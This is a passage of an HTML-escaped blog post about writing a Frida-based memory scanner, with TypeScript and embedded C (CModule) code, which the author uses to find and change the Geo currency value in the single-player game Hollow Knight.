class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenumerateRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;rw-\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"sb\"\u003e`Scanning range \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e/\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e - \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ebuffer\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadByteArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eview\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eUint32Array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eview\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eview\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eI loaded the agent in the HK process and tried again. The result:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128)\nScanning range 1/322: 0x203000 - 0x204000\nScanning range 2/322: 0x259c6000 - 0x29b46000\nScanning range 3/322: 0x40ebd000 - 0x40ecd000\nScanning range 4/322: 0x410fe000 - 0x411ad000\n// SNIP\nfirstScan: 17070 candidates in 12328ms\n[Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(129)\nnextScan: 3 candidates in 20ms (was 17070)\n[Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(130)\nnextScan: 2 candidates in 0ms (was 3)\n[Local::hollow_knight.x86_64 ]-\u0026gt; var addresses = rpc.exports.getAddresses()\n[Local::hollow_knight.x86_64 ]-\u0026gt; addresses[0].writeU32(31337)\n\u0026#34;0x7fedbdeea1cc\u0026#34;\n[Local::hollow_knight.x86_64 ]-\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cimg src=\"hk_31337_geo_again.png\" alt=\"hk_31337_geo_again.png\"\u003e\u003cp\u003eIt worked, but 12 seconds is not \u003cem\u003egreat\u003c/em\u003e for the interactive tool I wanted to PoC.\u003c/p\u003e\n\u003ch3 id=\"cmodules-to-the-rescue\"\u003eCModules to the rescue\u003c/h3\u003e\n\u003cp\u003eAt this point, I considered going full native with frida. After all, the JS bindings are just a convenient way to script agents, but nothing would prevent you from using \u003ca href=\"https://frida.re/docs/c-api/\"\u003ethe C API\u003c/a\u003e to develop the agent, which would address the performance issues.\u003c/p\u003e\n\u003cp\u003eHowever, in doing so you would lose some of the nice-to-haves, such as, notably, all that machinery about having RPC exports and calling frida functions from Python. Instead, you\u0026rsquo;d need to re-implement a way of talking back to the Python side.\u003c/p\u003e\n\u003cp\u003eRemember I told you about frida batteries? Well there\u0026rsquo;s one that is particularly useful in this scenario: it\u0026rsquo;s the \u003ca href=\"https://frida.re/docs/javascript-api/#cmodule\"\u003eCModule\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eEssentially, the CModule is an API that frida offers for scenarios where you need to perform \u0026ldquo;hot\u0026rdquo; operations that require native performances, without having to drop altogether the JS API.\u003c/p\u003e\n\u003cp\u003eThe CModule accepts C source code as one of its arguments, and in its default configuration, it compiles it inside the process using a statically linked \u003ca href=\"https://bellard.org/tcc/\"\u003eTiny C Compiler\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eI can move all the memory read logic of the scanner in a CModule and then only report back results to the JS land:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e  1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e  9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecScannerCode\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  #include \u0026lt;glib.h\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  #include \u0026lt;stdint.h\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  uintptr_t * scan_region(uintptr_t base_address, size_t region_size, void *value_ptr, gsize *out_count) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    GArray *results = g_array_new(FALSE, FALSE, sizeof(uintptr_t));\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    uint32_t value = *(uint32_t *)value_ptr;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    uintptr_t end_address = base_address + region_size;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    for (uintptr_t p = base_address; p \u0026lt;= end_address - 4; p += 4) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      uint32_t *ptr = (uint32_t *)p;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      if (*ptr == value) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e        g_array_append_val(results, p);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    *out_count = results-\u0026gt;len;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    return (uintptr_t *)g_array_free(results, FALSE);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  uintptr_t * filter_scans(uintptr_t *scan_results, size_t count, uintptr_t *filter_value_ptr, gsize *out_count) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    GArray *filtered_results = g_array_new(FALSE, FALSE, sizeof(uintptr_t));\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    uint32_t filter_value = *(uint32_t *)filter_value_ptr;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    for (gsize i = 0; i \u0026lt; count; i++) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      uintptr_t address = scan_results[i];\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      uint32_t *ptr = (uint32_t *)address;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      if (*ptr == filter_value) {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e        g_array_append_val(filtered_results, address);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    *out_count = filtered_results-\u0026gt;len;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e    return (uintptr_t *)g_array_free(filtered_results, FALSE);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 